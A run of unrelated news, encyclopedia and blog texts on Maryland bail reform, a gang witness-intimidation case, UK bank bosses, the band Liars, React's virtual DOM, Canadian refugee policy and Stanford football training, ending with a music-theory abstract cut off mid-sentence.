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StumbleUpon What are these? E-mail this to a friend Printable version“If you’re poor, you’re not going to be held in jail just because you can’t make bail,” Maryland Attorney General Brian E. Frosh said. The new rules, he said, tell judges to “keep dangerous people behind bars” and to “let the vast majority who are not a threat out” before trial. (Katherine Frey/The Washington Post)
Maryland’s highest court voted unanimously Tuesday to overhaul the state’s bail policies, essentially abolishing a system in which poor people could languish behind bars for weeks or months before trial because they could not post bond.
The rule change, which takes effect July 1, requires judges to impose the “least onerous” conditions when setting bail for a defendant who is not considered a danger or a flight risk.
That means Maryland will join a handful of states, including New Mexico, Kentucky and New Jersey, that have moved away from bail as part of a larger criminal-justice overhaul movement.
Judges will be required for the first time to consider whether a defendant can afford to make bail before setting their pretrial release conditions. They must also weigh whether defendants pose a risk of committing another crime or of not appearing for their next court date.
The directive approved by the rules committee of the Maryland Court of Appeals says that “preference should be given to additional conditions without financial terms,” court spokesman Kevin Kane said.
Maryland Attorney General Brian E. Frosh (D), who has been pushing for an overhaul of the system, called the rules change a “huge step forward” that will lead to “more justice in Maryland.”
“If you’re poor, you’re not going to be held in jail just because you can’t make bail,” Frosh said. The new rules, he said, tell judges to “keep dangerous people behind bars” and to “let the vast majority who are not a threat out” before trial.
Under the current system, judges often require defendants to leave a certain amount of money with the court in exchange for release in advance of trial. People who cannot make bail on their own or with the help of bail bondsmen — who guarantee payment to the court in exchange for a percentage of the bail amount — remain locked up.
Nationally, about 47 percent of felony defendants who are required to post bond remain jailed before their cases are heard because they cannot come up with the required amount.
In Maryland, more than 46,000 defendants between 2011 and 2015 were detained more than five days at the start of their criminal case, according to a 2016 report by the Maryland Office of the Public Defender. Of those, more than 17,000 were held on less than a $5,000 bail.
A draft version of the rules change posted on the court’s website does not eliminate money bail or bail bondsmen. But it says that judges “may not impose a financial condition, in form or amount, that he or she knows or has reason to believe that the defendant is financially incapable of meeting.”
The District passed a law in the 1990s that also prohibited judges from imposing a “financial condition” that a person could not pay. That law, too, did not explicitly prohibit money bail.
But in practice, it effectively got rid of the bail-bond business in the District.
Bail bondsmen in Maryland have vehemently opposed changing the state’s system, either through the court’s rules committee or through legislation in the State House in Annapolis.
On Tuesday, Vinnie Magliano, president of East Coast Bailbonds, said the court was “moving one million miles an hour in the wrong direction.”
Magliano, a member of the Maryland Bail Bonds Association, said the industry will consider pushing the legislature to roll back the court’s decision. “I’m advocating for sensible reform,” he said. “I think this goes too far.”
Doug Mayer, a spokesman for Gov. Larry Hogan (R), said the governor’s office had not seen the rules change and could not comment.
In January, the judges heard more than five hours of testimony about the merits of reforming the system, including from former U.S. attorney general Eric H. Holder Jr., and about the benefits of keeping the current policies in place.
Maryland’s legislature has been debating whether to limit or eliminate cash bail for more than a decade, with critics of the current system calling it discriminatory and potentially unconstitutional.
Frosh, a former state senator who had pushed for change in the legislature without success, asked the appeals court late last year to consider changing the directives given to judges as they set bail.
Five Democratic lawmakers who were also eager to abolish bail had asked Frosh to weigh in on whether the state’s system could pass constitutional muster.
Frosh’s office issued an opinion that said the system, which set bails at amounts many defendants cannot afford, could violate due process.
Del. Erek L. Barron (D-Prince George’s), one of the five legislators, said Tuesday that he was “encouraged” by the ruling but did not want to comment further without seeing the final decision.
Barron said the legislature needs to focus its efforts on providing statewide pretrial services, including an assessment of whether a defendant is dangerous or a flight risk, and an economic evaluation. Montgomery and St. Mary’s counties already have those services, although judges there can still set bail.
The decision by the judges cannot be appealed, but the Maryland legislature could pass a law changing the rules.Teen murder suspect allegedly scared witnesses
Josue Raul Orozco, who escaped from San Mateo County's juvenile lockup in February 2008. He was arrested Sept. 17, 2008, in San Antonio, Texas. He is shown here in a booking shot from Texas. Josue Raul Orozco, who escaped from San Mateo County's juvenile lockup in February 2008. He was arrested Sept. 17, 2008, in San Antonio, Texas. He is shown here in a booking shot from Texas. Photo: Courtesy, San Mateo County Sheriff Office Photo: Courtesy, San Mateo County Sheriff Office Image 1 of / 1 Caption Close Teen murder suspect allegedly scared witnesses 1 / 1 Back to Gallery
A teenager who at age 14 was the youngest person ever charged as an adult in San Mateo County told fellow gang members from jail to scare witnesses who were supposed to testify in his murder case, which ended in a mistrial, prosecutors said Friday.
Five alleged Sureño gang members have been charged with conspiring with Josue Raul Orozco, now 19, to intimidate witnesses into changing their testimony or not testifying at all, authorities said.
The suspects and a 17-year-old girl were arrested Wednesday. They appeared in court Friday but did not enter pleas.
Orozco is accused of killing 21-year-old Francisco Rodriguez outside the victim's Redwood City home on July 12, 2005. Prosecutors say Orozco and Rodriguez were in rival gangs. Orozco, an alleged Sureño gang member, denies he was the shooter.
The jury in his murder case deadlocked in December after a 24-day trial and six days of deliberations. Prosecutors intend to retry him.
Prosecutors began uncovering evidence in December that Orozco and other suspected Sureño members had contacted and dissuaded witnesses in his trial, said Assistant District Attorney Karen Guidotti.
"Orozco orchestrated this conspiracy from the San Mateo County Jail, where he called numerous Sureño members on the streets and directed them to either prevent witnesses from attending the trial or scare the witnesses into altering their testimony," Guidotti said.
Orozco escaped from the San Mateo County juvenile lockup in 2008 but was arrested seven months later in Texas.
On Wednesday, law-enforcement officials from numerous agencies raided locations in Redwood City, East Palo Alto and Oakland to arrest the suspects in the conspiracy case, Guidotti said.
Besides Orozco, who has remained in jail since the mistrial, the adults who were arrested were Bianca Aguillon, 19, and Arturo Becerra, 19, both of East Palo Alto; Cesar Ponce, 20, of Redwood City; and Edgar Cibrian, 20, whose hometown is unknown.
The four suspects were charged with witness intimidation, felonies committed for the benefit of a criminal street gang and conspiracy to intimidate witnesses.
Another alleged Sureño member, Alexandro Stephen Villar, 19, of Redwood City, has been charged but is still being sought.
Charges against a sixth defendant, Eduardo Lopez, 19, were dropped for lack of evidence.WASHINGTON — President Obama’s latest cabinet-level nominees are running into deep resistance in the Senate, pitching Democrats and Republicans into another tense standoff over White House appointments.
Just days after Republicans used Senate rules to block two nominees from moving to the next step in the confirmation process despite the fact that both have the support of a majority of senators, Democrats are planning to force committee votes without Republican consent.
If Democrats do push the nominees through to the full Senate, they would almost certainly set off a Republican filibuster, which would jeopardize the confirmations and, for now, leave vacancies at the top of two federal agencies.
Republicans have objected to the nomination of Gina McCarthy to lead the Environmental Protection Agency, citing what they said were her insufficient responses to their questions. They have also sought to block the labor secretary nominee, Thomas E. Perez, a lawyer in the Justice Department, on the grounds that he is too political.Please turn on JavaScript. Media requires JavaScript to play. The former bosses of the two biggest UK casualties of the banking crisis have apologised "profoundly and unreservedly" for their banks' failure. Former Royal Bank of Scotland chief executive Sir Fred Goodwin told MPs on the Treasury Committee he "could not be more sorry" for what had happened. The former bank chiefs also said the bonus culture had contributed to the crisis and needed to be reviewed. But Sir Fred said if bankers felt they were not paid enough, they would leave. Sir Tom McKillop, former RBS chairman, also admitted that his bank's much-criticised purchase of Dutch rival ABN Amro had been a "big mistake". See how much bank bosses earned in 2007 The former bosses, along with other bankers, have been criticised for taking huge bonuses from banks that later had to rely on taxpayer money to survive. Separately, the Tories demanded an urgent inquiry into claims that one of Gordon Brown's key advisers, Sir James Crosby, sacked HBOS executive Paul Moore, who warned about excessive risk taking. Sir James, who was HBOS' chief executive at the time and is now the deputy head of the Financial Services Authority, allegedly sacked Mr Moore in 2005 after he warned the bank's board about its potentially dangerous "sales culture". SIR FRED GOODWIN
Former chief executive, RBS, 50 Salary: £1.3m plus £2.9m performance bonus (2007) Born and raised in Paisley, near Glasgow Resignation announced in October 2008
AS IT HAPPENED: Bankers grilled by MPs RBS to cut 2,300 jobs The MPs began Tuesday's hearings by asking the former bosses about the bonuses they received in 2008. Sir Fred Goodwin said he had taken no bonus that year, but that he had taken home a salary of £1.46m. Andy Hornby, former chief executive of HBOS, said he had also not taken a a bonus last year, and that he had never taken any bonus in the form of cash. "I have never received one single penny in cash bonus," he said, referring to his time not only as boss of HBOS but also his time on the board. Instead, he said, he had taken his bonuses in the form of shares. "I have lost considerably more money than I have been paid," he said, referring to falls in the value of shares that he had been given as bonuses. Sir Fred Goodwin added he had lost around £5m on the value of his shares in 2007, although he stressed that he was not complaining. Bonus culture Mr Hornby conceded that the culture, where bankers can receive many times their salary in cash bonuses, did need to be looked at. SIR TOM MCKILLOP Former chairman, Royal Bank of Scotland, 65 Salary: £750,000 (2007) Resignation announced in October 2008
Read Robert Peston's blog Read Nick Robinson's blog "The bonus system has proved to be wrong. Substantial cash bonuses do not reward the right kind of behaviour," he said. Sir Tom McKillop agreed that a fundamental review of remuneration was needed. But when asked whether the bonus culture encouraged excessive risk taking and had exacerbated the banking crisis, Sir Fred Goodwin argued that traders had been trading within set limits, and had simply been doing "what they were authorised to do". It is "hard to say that remuneration was a cause [of the bank's problems]," he said. Huge losses Sir Fred oversaw a number of acquisitions that made Edinburgh-based RBS one of the world's biggest banks. ANDY HORNBY Former chief executive, HBOS, 42 Salary: £1.93m, including bonus and benefits (2007) |
ears.
There was a clear association between these surgeries and premature births, pregnancy risks and fertility problems, he said.
The doctor overseeing the introduction of the new test insists women should not be afraid of the reduced number of tests.
Professor Ian Hammond, a retired gynaecological oncologist chairing the steering committee for the renewal implementation project, says HPV is like a common cold, and almost all sexually-active women will contract it.
Abnormalities are like a nasty dose of the flu and while many doctors have traditionally treated them with surgery to prevent cervical cancer, evidence now suggests that in young women these infections will usually go away without treatment.
"The development of cervical cancer is a very slow process so it's much better actually not to over-treat young women because the risk is so low," he told AAP.
"Cervical cancer is very rare in young women, HPV infection is incredibly common, and the harms of being investigated and treated far outweigh the risk of getting cervical cancer."Liars is an Australian-American rock band formed in 2000. Angus Andrew is the founding and only constant member of Liars. Previous members include Aaron Hemphill who played with the band from its inception until his amicable departure from the project in 2017, and Julian Gross who joined the band for their second album, They Were Wrong, So We Drowned released in 2004, and played with the band until his departure in 2014. Liars have released eight studio albums and are signed to Mute Records. They combine elements of punk-rock with electronica.[1]
History [ edit ]
Formative years [ edit ]
The genesis of the band can be traced to Los Angeles, where Andrew (and Gross) were enrolled at Cal Arts, studying in the Photography Program. Hemphill had studied microbiology in Junior College in San Diego, but was then employed in LA at a record store. Upon meeting, Andrew and Hemphill began their collaboration on four-track recordings. Once Andrew had completed art school, they relocated to New York City together and after responding to a well-placed want ad, Pat Noecker (bass, formerly of Neuromancer, Urethra Franklin, and Opium Taylor) and Ron Albertson (drums, formerly of Mercy Rule) joined to become the band's rhythm section.
They Threw Us All in a Trench and Stuck a Monument on Top (2001–2002) [ edit ]
Liars' debut album They Threw Us All in a Trench and Stuck a Monument on Top was released on 30 October 2001. Recorded in a mere two days with producer Steve Revitte,[2] the album bore resemblance to the work of Delta 5 and Gang of Four, accenting their angular, acerbic punk with modern synths and drum machines. The album generated interest in the band and gained them a following amongst the post-punk revival scene of New York. It was during this time they were interviewed and filmed in performance for the documentary Kill Your Idols, along with bands like Yeah Yeah Yeahs and Black Dice. Liars were not averse to this attention, but the problem of being pigeon-holed became a pressing challenge for the band to overcome.
As a four-piece, Liars were only to release two more short EPs. The first was entitled We No Longer Knew Who We Were; it was an official release of the band's early demos recorded in 2000. The second, however, showcased new material. Fins to Make Us More Fish-Like (November 2002) showed progression from their signature sound, but without any material that would seem significantly out of place on their debut. Most noteworthy, perhaps, is "Every Day Is a Child with Teeth", which concentrates more on sound texture and tense, stuttering percussion than the more danceable rhythms for which they had come to be known.
Line-up changes [ edit ]
Due to differences of creative methods, it was agreed that Noecker and Albertson would leave the band to pursue other work. Both joined the short-lived band No Things. Noecker would later pop up in the band These Are Powers. Meanwhile, Andrew and Hemphill reunited with Gross to form the next incarnation of Liars. The first release from Liars as a three-piece was a split EP with the band Oneida, called Atheists, Reconsider (released December 2002 by the Arena Rock Recording Co.). Liars contributed a cover of Oneida's "Rose and Licorice," as well as two originals. "Dorothy Taps the Foot of the Tinman" is a 7+ minute sound collage of kitchen-sink percussion, ambient drones and static, and copy/paste spoken words.
Witch hunting [ edit ]
This newfound experimentation paved the way for Liars' next full-length album, They Were Wrong, So We Drowned (recorded in March and May 2003, released February 2004). The band relocated to a cabin in the woods of New Jersey for the recording sessions, and along with producer David Andrew Sitek of TV on the Radio immersed themselves in both non-fiction accounts of witch trials and traditional witch folklore. From these sources, Andrew created a generic fairy tale which is told through contrasting viewpoints in the lyrics. This commitment to the material at the heart of the album—a "story album" (as opposed to "concept album"), according to Andrew—resulted in a thematically rich piece of work that can often feel more atmospheric than musical. The non-traditional instrumentation and song structuring furthers its feel of concept over musicality, along with Sitek's signature harmonies and sound looping. Many critics responded negatively to this aspect of the album, and though it had its fervent supporters, it infamously garnered the lowest possible scores from both Spin and Rolling Stone magazines.
Berlin days [ edit ]
Creatively unfazed by the critical response to their unexpected experimental leap, the band relocated once again to Berlin where they would eventually record their third full-length, Drum's Not Dead (recorded in 2004, released February 2006). During the interim between the recording and release of their previous album, Liars had already begun the work on what would eventually become Drum's Not Dead. Liars began experimenting with modified drum sounds. After much experimentation (and reportedly an entire album's worth of material cast aside), the group completed the album in an East German broadcast center that allowed them a multitude of different acoustic environments for recording. As the title suggests, the album is heavy on drums (often run through various effects pedals), backed mostly by atmospheric guitar work. Andrew also relies more heavily on falsetto than in past work, which gives the album a more ethereal, less gritty sound than is often associated with Liars. Along with the music, Drum's Not Dead was released with a DVD that contains three full-length video companions to the album: Drum's Not Bread by Julian Gross, The Helix Aspersa by Angus Andrew, and By Your Side by filmmaker Markus Wambsganss.
The rhythmic electroacoustic experimentalism was not only used in the studio set up, but continued in their live performances during the Drum's Not Dead tour. Microphones taped on Gross drum kit and the percussion set of Hemphill picked up the live played rhythms and were modulated heavily by digital real-time processing spring reverbs and pitch shifters forming multi layered drones. The creation of this set-up is outlined in the CD booklet for Drum's Not Dead.
Liars [ edit ]
The band officially announced their album Liars on May 24, 2007. It was released August 28, 2007 on Mute Records.[3] In support of the album, Liars toured the UK over August 2007, North America over September/October 2007 supporting Interpol, Europe over November/December 2007, North America over January/February 2008 with No Age and May 2008 with Radiohead. The band also participated on Vincent Moon's The Take-Away Shows.
Sisterworld [ edit ]
On November 2, 2009, Pitchfork reported that Liars had updated their MySpace page by posting links to the website www.thesisterworld.com.[4][5] Upon clicking the door displayed on the website, three short clips are shown, all three of natural landscapes with amplified ambient sounds. However, when the word "SISTERWORLD" below the door is clicked, the viewer is taken to the Liars' merchandise page.
On November 4 the band confirmed that Sisterworld would be the new album, and would be released in early 2010 on Mute Records. According to the Pitchfork article,[6] It was written and recorded in Los Angeles with Jon Brion collaborator Tom Biller and much inspired by the city.[7] The band had this to say of the record:
“ We're interested in the alternate spaces people create in order to maintain identity in a city like L.A. Environments where outcasts and loners celebrate a skewered relationship to society. ”
In addition to this, the press release states:
“ Sisterworld is Liars’ own space, completely devoid of influence, somewhere remote from the false promises and discarded dreams amassed in LA. In it Liars explore the underground support systems created to deal with loss of self to society.[8] ”
The album was released on CD and Vinyl on Tuesday, March 9, 2010.
During this time, San Francisco-based artist, musician, and Red Bull enthusiast Jesse Jackson (of Flaspar and Sissy Spacek) joined the band on tour to play auxiliary guitar.
Liars are featured on the latest Beck 'Record Club' in which they covered the INXS album Kick. Angus from the band suggested that they cover this LP.
The band were chosen by Portishead to perform at the ATP I'll Be Your Mirror festival that they curated in July 2011 at London's Alexandra Palace.[9]
WIXIW [ edit ]
The band released their sixth album entitled 'WIXIW (pronounced 'wish you') on June 4, 2012. The first single from the album, No. 1 Against the Rush was released on 28 May 2012. It was written in an isolated cabin north of Los Angeles with the aim of removing themselves from the influence of "extraneous things".[10] It was recorded in the industrial area of LA, in an unused office block.
Regarding the album's title, the band commented:
“ It's a palindrome, and that interested us as far as the idea of starting somewhere, going through a lot of work, and ending up in the same place you started. I guess that can be seen as a negative result, but for our creative process, it's actually a really positive thing. There's this air of superstition or mystique around this made-up word.[11] ”
As is common with Liars, the record sees the band explore a radically different sound, largely influenced by electronic music.
Mess [ edit ]
On January 13, 2014, Liars premiered their single Mess On A Mission[12] and announced the title of their 7th album as Mess, which was released on March 24 via Mute Records.[13]
TFCF [ edit ]
On February 20, 2017, Liars updated their site with a short video clip titled TFCF.[14] Another video was later added, called TFCF H, and then TFCF E, and so on. When taking the last letter of each of these videos, the word THEME is spelled out. On June 2, the band released four more videos which spell out the word FROM.[15] On June 15 and June 24, more videos were released spelling the words CRYING and FOUNTAIN, respectively. On May 18, Andrew announced a new Liars album to be released sometime in August, along with the amicable departure of founding member Aaron Hemphill. He will go on tour from August with a new backup band.
The initialism TFCF was the title of the band's LP which was released on August 25, 2017. Liars have, as a matter of course, sounded radically different with each album, pursuing new concepts and occupying diverse mindsets. On this, Liars’ eighth studio album, the bustling backdrops of Los Angeles, Berlin and New York have been replaced with a presence far more intimate and autobiographical.[citation needed]
Discography [ edit ]
Albums [ edit ]
EPs and singles [ edit ]
References [ edit ]How I learned to stop worrying and love React
Guilherme Rodrigues Blocked Unblock Follow Following May 15, 2015
If you asked me what I thought of React one year ago, I would probably say…
Where are my templates? What’s that crazy HTML doing in my JavaScript? JSX looks weird! Hurry! Kill it with fire!
That was because I didn’t get it.
But I swear: React is definitely on the right track… Please, hear me out.
Good old MVC
The Root of All Evil in an interactive application is managing state. The “traditional” approach is the MVC architecture, or some variation thereof.
MVC proposes that your Model is the single source of truth — all state lives there. Views are derived from the Model, and must be kept in sync. When the Model changes, so does the View.
Finally, user interactions are captured by the Controller, which updates the Model. So far, so good.
Render the view when the model changes
This looks quite simple. First, we need to describe our View — how it transforms the model state into DOM. Then, whenever the user acts we update the Model and re-render the entire thing… right? Not so fast. Unfortunately, this is not very straight forward for 2 reasons:
The DOM actually has some state, like the content of a text input. If you re-render disregarding your DOM completely, this content will be lost. DOM operations (like removing and inserting nodes) are really slow. Constantly rendering everything will lead to terrible performance.
So how do we keep the Model and View in sync avoiding these problems?
Data binding
For the past 4 years, the most common framework feature introduced to solve this problem was data binding.
Data binding is the ability to keep your model and view in sync automatically. Usually, in JavaScript, that means your Objects and your DOM.
It achieves that by letting you declare the dependencies between the pieces of data in your app. Changes in the state are propagated throughout your application and all depending pieces are automagically updated.
Let’s see how that works in practice with some famous frameworks.
Knockout
Knockout argues for the MVVM (Model-View-ViewModel) approach and helps you implement the “View” parts:
And, voilà. Changing the value of either input will provoke a change in the span. You never wrote code to wire it up. How cool is that, huh?
But wait, what about the Model being the single source of truth? Where should this ViewModel get its state from? How does it know that the Model changed? Interesting questions.
Angular 1
Angular 1 describes data binding in terms of keeping the Model and View in sync. From the docs:
But… should the View communicate with the Model directly? Are they that tightly coupled?
Anyway, let’s look at the obligatory hello world example:
From this example, it looks like the Controller has state and is behaving like a Model — or perhaps a ViewModel? Assuming the Model is elsewhere, how is it kept in sync with the Controller?
My head is starting to hurt a little.
The problems with data binding
Data binding works wonderfully for small examples. However, as your app grows you’ll probably face some of these problems.
Declaring dependencies can quickly introduce loops
The most common problem is having to cope with the side effects of changes in your state. This image from the introduction of Flux explains quite clearly how dependency hell starts to creep in:
In this scenario, can you predict what changes will happen when one change happens to a single Model? It is very hard to reason about code that can be executed in a completely arbitrary order when any dependency changes.
Template and display logic are artificially separated
What’s the role of a View? To present the data to the user. What’s the role of a ViewModel? To present the data to the user. What’s the difference? None!
Templates separate technologies, not concerns ~ Pete Hunt
In the end, a View component should be able to manipulate its data and present it in the desired format. However, all template languages are inherently crippled: they can never achieve the same expressiveness and power as code.
Quite simply, {{# each}}, ng-repeat and databind=”foreach” are all poor replacements for something that is native and trivial in JavaScript: a for loop. And they can’t go any step further, so no filter or map for you.
Data binding is a hack around re-rendering
The Holy Grail of simplicity is not in discussion. What everyone always wanted was to re-render our entire app when state changes. This way, we could stop having to deal with Root of All Evil problem: state changing over time — we could simply describe what our app looks like given any particular state.
So, the problem is clear. Man, I wish some giant company could spare a team of genius developers to really nail the solution to this problem…
Enter Facebook’s React
Turns out they did. React implements a virtual DOM which kind of delivers us the Holy Grail.
What is virtual DOM anyway?
I’m glad you asked! Let’s look at a trivial React example.
That’s all of the required API for a React component. You must have a render method. Complex, huh?
OK, but what about that <div>? That’s not JavaScript! It sure isn’t.
Your new friend, JSX
This code is actually written in JSX, a super-set of Javascript which includes that brackets syntax for defining components. The code above, when compiled into JavaScript, will actually become:
Did you notice the calls to createElement? These objects compose the virtual DOM implementation.
Quite simply: React first assembles the entire structure of your app in-memory, using those objects. Then, it converts that structure into actual DOM nodes and inserts them in your browser’s DOM.
OK, but what’s the point of writing our HTML with those strange createElement functions?
Virtual DOM is FAST
As we already discussed, manipulating the DOM is ridiculously expensive, so it must be done as few times as possible.
React’s virtual DOM, however, makes it really fast to compare two trees and find exactly what changed between them. That way, React is able to compute the minimum set of changes necessary to update the DOM.
Practically speaking, React can diff two DOM trees and discover the minimum set of operations it needs to perform. This means two things:
If an input with text is re-rendered and React expects it to have that content, it won’t touch the input. No more state loss! Diffing the virtual DOM is not expensive at all, so we can diff it as much as we like. When it’s ready to actually alter the DOM, it will only perform the least possible number of operations. No more slow layout thrashing!
Remember the two problems with re-rendering our entire app when state changes?
Gone.
React maps state to DOM
Virtual DOM rendering and diffing is the only magical part about React. Its excellent performance, however, is what fundamentally enables us to have a much simpler architecture overall. How simple?
React components are idempotent functions. They describe your UI at any point in time, just like a server-rendered app.
Idempotent-function-simple.
That’s all a React component should be, really. It maps the current app state to DOM. And you have the full power of JavaScript to describe your UI — loops, functions, scope, composition, modules — not a crippled template language.
Start using React today
React can be a little daunting at first. It proposes a really large paradigm shift, which is always uncomfortable. However, the advantages become clear when you start using it.
The React documentation is excellent. You should give it a try and follow the tutorial. I’m sure you’ll love it if you give it a chance.
Happy coding!Until recently, Canadian Prime Minister Justin Trudeau welcomed immigrants and refugees, in stark contrast to the approach of President Trump. This contrast fits a pattern I describe in my research: Canada is frequently more willing to protect vulnerable migrants than its neighbor to the south. The distinction has become even more striking in the past year as Trump and Trudeau have taken opposite positions on a variety of migration issues.
While Trump made campaign promises to build a wall and ramp up deportations, Trudeau swept into office in late 2015 saying he would build on Canada’s already generous reputation for refugee resettlement. Even after the November 2015 Paris terrorist attacks, as many U.S. governors and presidential candidates spoke of ending the U.S. refugee program, Trudeau promised to keep the Canadian program going and made a show of meeting Syrian refugees at the airport to welcome them to Canada. One grateful family even named their baby Justin Trudeau.
When Trump rolled out his executive order in late January banning people from seven predominantly Muslim countries, Trudeau tweeted: “To those fleeing persecution, terror & war, Canadians will welcome you, regardless of your faith. Diversity is our strength #WelcomeToCanada.” The website of the Canadian Citizenship and Immigration services department has a banner that reads #WelcomeRefugees.
Trudeau may have gotten more than he bargained for
By casting Canada as a haven while the United States clamps down on immigration, Trudeau effectively encouraged an estimated 11,000 or more people to cross the border into Canada. Some asylum seekers came despite harsh winter conditions, risking frostbite.
These are people who fear that their U.S. asylum applications will be rejected — or who fear losing protected status. Trump has taken aim at the Obama-era Deferred Action for Childhood Arrivals (DACA) program, as well as long-standing Temporary Protected Status (TPS) for an estimated 440,000 fleeing conflict and violence.
[This is why Congress will have a hard time legalizing DACA]
The large numbers of people crossing the U.S.-Canada border in remote locations prompted a spike in asylum claims in Canada — and required new emergency measures to house people as they arrive. Criticism from the opposition New Democratic Party has led to speculations that Trudeau will have to dial things back and introduce some new restrictions.
Canada’s immigration policy considers the United States a “safe” country
However, Canada’s current migration crisis is shaped in large part by restrictions introduced by the 2002 Safe Third Country Agreement. This measure prohibits people from seeking asylum at an airport or any other port of entry to Canada from the United States, because the United States is presumed to be a safe country for asylum seekers. To seek asylum in Canada, they must sneak into the country and file an asylum claim from within.
In late August, Trudeau attempted to clarify the situation: “You will not be at an advantage if you choose to enter Canada irregularly. You must follow the rules, and there are many.” But Canadian laws offer no other option than to enter the country illegally.
[The little-known benefit of DACA: It reduced mental illness in ‘Dreamers” children.]
Refugee activists in Canada have opposed the Safe Third Country Agreement for years, even filing a federal lawsuit based on the premise that the United States rejects many asylum claims, particularly gender-based claims, that are consistently successful in Canada. Thus, activists conclude, Canada and the United States should not be considered equivalent countries for many asylum seekers.
As I show in my book comparing the two systems, the United States has a messy and unpredictable refugee-status determination system and far fewer protection options than Canada. In contrast, Canada supplements its refugee program with a number of other humanitarian visa options. The recent influx of asylum seekers has only made these contrasts sharper, giving advocates an even stronger case to argue that the two countries are divergent.
For the foreseeable future, it looks as if Trudeau will have to come up with a plan to deal with increased arrivals of people fleeing war, danger and discrimination in their home countries — as well as a more unwelcoming environment in the United States.
An asylum seeker leaves a storage container as a security officer stands guard at a processing center near the Canada-U.S. border in Lacolle, Quebec, on Aug. 9, 2017. (Graham Hughes/The Canadian Press via Associated Press)
Canada’s reputation for generosity is at stake
If Trudeau orders more vigilant border patrols or begins to refuse asylum requests from clandestine arrivals, it would be a radical departure for a country with a long-standing reputation for generosity in this area. Canada is the only country to have won the Nansen medal, the Office of the U.N. High Commissioner for Refugees’ highest honor for refugee protection efforts. Since the Vietnam War era, Canada has consistently resettled refugees in numbers that are notably high for a country with such a small population.
[Why Trump’s pardon of Joe Arpaio isn’t like most presidential pardons]
How has Canada managed to be so generous? It has had an enormous buffer zone between it and the developing world: the United States. Canada has maintained an extremely high level of control over refugee resettlement, sometimes hand-selecting refugees from abroad, and it has tended to see very low levels of spontaneous arrival at the border.
Now that the United States has become a “sending” country, Canada is having its day of reckoning. Trudeau is under pressure to crack down on border crossers, but an alternative response would be to repeal the Safe Third Country Agreement. That action would stop rewarding people for crossing the border illegally, and it would save lives by reducing dangerous cross-border traffic in remote areas.
Rebecca Hamlin is an assistant professor of legal studies in the department of political science at University of Massachusetts at Amherst and author of “Let Me Be a Refugee: Administrative Justice and the Politics of Asylum in the United States, Canada, and Australia” (Oxford 2014). Follow her on Twitter @hamlinr1.To reach Stanford’s football weight room, one must navigate a pair of nondescript hallways and descend a set of stairs into the basement.
Sports performance director Shannon Turley’s office is tucked away to the right side of the large space.
Inside Turley's office, a full wall is occupied with massive, four-inch binders, labeled by player name, each containing blow-by-blow details of their training regimens in painstaking detail. The room is essentially a complete archive of every repetition of work that the Cardinal have invested since the beginning of 2007, when Turley arrived as part of Jim Harbaugh’s staff.
On the right side of the wall are the names of past Cardinal players, including Andrew Luck, Toby Gerhart, Richard Sherman and Trent Murphy. On the left side are current Cardinal players.
Christian McCaffrey amassed 368 yards in the 2016 Rose Bowl. AP Photo/Lenny Ignelzi
The organizational strategy is simple: When a current Stanford player sets a goal, Turley can retrieve the binder of a former player to show him a blueprint for NFL success. (Recently drafted lineman Joshua Garnett, for example, told coaches upon his arrival four years ago that he wanted to become the Cardinal’s “next David DeCastro”).
Every Stanford player can consult the binder of a certain NFL alumnus as an effective reference point.
Well, every Stanford player, except one. Because Christian McCaffrey has become an exception, both in his record-breaking on-field performances and in the off-field work that supports them.
“Christian is authoring his own binder,” Turley said. “He’s carving his own path. He’s unlike anybody we’ve ever had.”
Technically, McCaffrey is unlike anybody that any college football team has ever had: Never before in the sport’s history has a player amassed 3,864 all-purpose yards in a single season. And while record-breakers normally graduate or move on to the NFL draft, McCaffrey did that damage as a sophomore, so Stanford is enjoying the unique prospect of trying to improve upon last season's production.
Even Stanford coach David Shaw didn't anticipate McCaffrey's progression as a sophomore. "The year he had last year," Shaw said. "I anticipated that would be his junior year."
Stanford coaches backed away from McCaffrey’s planned training regimen earlier this offseason to allow his body to recover from the 437-touch workload he endured last year.
“He didn’t do a lot of the traditional lifts,” Turley said. “I wanted to focus more on rebuilding him from the ground up because of all the things he went through physically.”
McCaffrey is back to full-go now. His body fat is down about four percent, and his measurements -- Turley conducts a battery of tests, including a laser-time flying 20-yard dash -- have improved.
“He’s substantially better than he was during his exact training period last year,” Turley said. “So despite all the runs, catches, punt returns, and kick returns, this guy is at a higher physical level than he was last year. You’re talking about a guy who’s leaner, faster, stronger, and more explosive now.”
Nowhere is that more evident than on the practice field at 6 a.m., where Turley conducts brutal workouts that are centered on engaging players in cutthroat competition.
“We’re trying to put kids into fight-or-flight situations to see what they’re made of,” he said.
After losing the combined obstacle course to a teammate last season, coaches say McCaffrey is demanding extra feedback and critique this offseason.
"He's working on being the best well-rounded football player in America because that's what he's got the ability to be," Shaw said. "He's always been that way. His body's continued to mature. When you see him, he's a little bit bigger, and it's not that we're doing anything different. He's 19 going on 20. His body's still maturing, his body's still growing."
The Cardinal now struggle to find a worthy opponent for McCaffrey in the "10-yard fight," in which two players are attached to each other by belt and chest harness. They run in opposite directions with the goal of dragging the other against his will for five yards.
“This is the drill where he is going to break your spirit,” Turley said. “He knows it’s an opportunity to break you.”
Each round of the 10-yard fight lasts one minute, so a player can drag his opponents the five yards more than once -- provided that they both line up in time to go at it again. But the battle is so physically taxing that players rarely want to line up for another drag, even if time remains on the clock. Normally, coaches must prod the exhausted participants back into a ready position so that they can do more dragging.
But here, once again, McCaffrey proves to be cut from a different cloth.
“Now, Christian is doing the coach's work,” Turley said. “He’ll say, ‘Coach, we’re ready.’ And he’ll push his opponent into that ready position, because he just wants to go kick your ass again.”This paper reveals the way in which musical pitch works as a peculiar form of cognition that reflects upon the organization of the surrounding world as perceived by majority of music users within a socio-cultural formation. Part-1 of this paper described the origin of tonal organization from verbal speech, its progress from indefinite to definite pitch, and the emergence of two main harmonic orders: heptatonic and pentatonic, each characterized by its own method of handling tension at both domains, of tonal and social organization. Part-2, here, completes the line of historic development from Antiquity to seventeenth century. Vast archeological data is used to identify the perception of music structures that tells apart the temple/palace music of urban civilizations and the folk music of village cultures. The “mega-pitch-set” (MPS) organization is found to constitute the principal contribution of a math-based music theory to a new diatonic order. All ramifications for psychology of music are discussed in detail. “Non-octave hypermode” is identified as a peculiar homogenous type of MPS, typical for plainchant. The origin of chromaticism is thoroughly examined as an earmark of “art-music” that opposes earlier forms of folk music. The role of aesthetic emotions in formation of chromatic alteration is defined. The development of chromatic system is traced throughout history, highlighting its modern implementation in “hemiolic modes.” The connection between tonal organization in music and spatial organization in pictorial art is established in the Baroque culture, and then tracked back to prehistoric times. Both are shown to present a form of 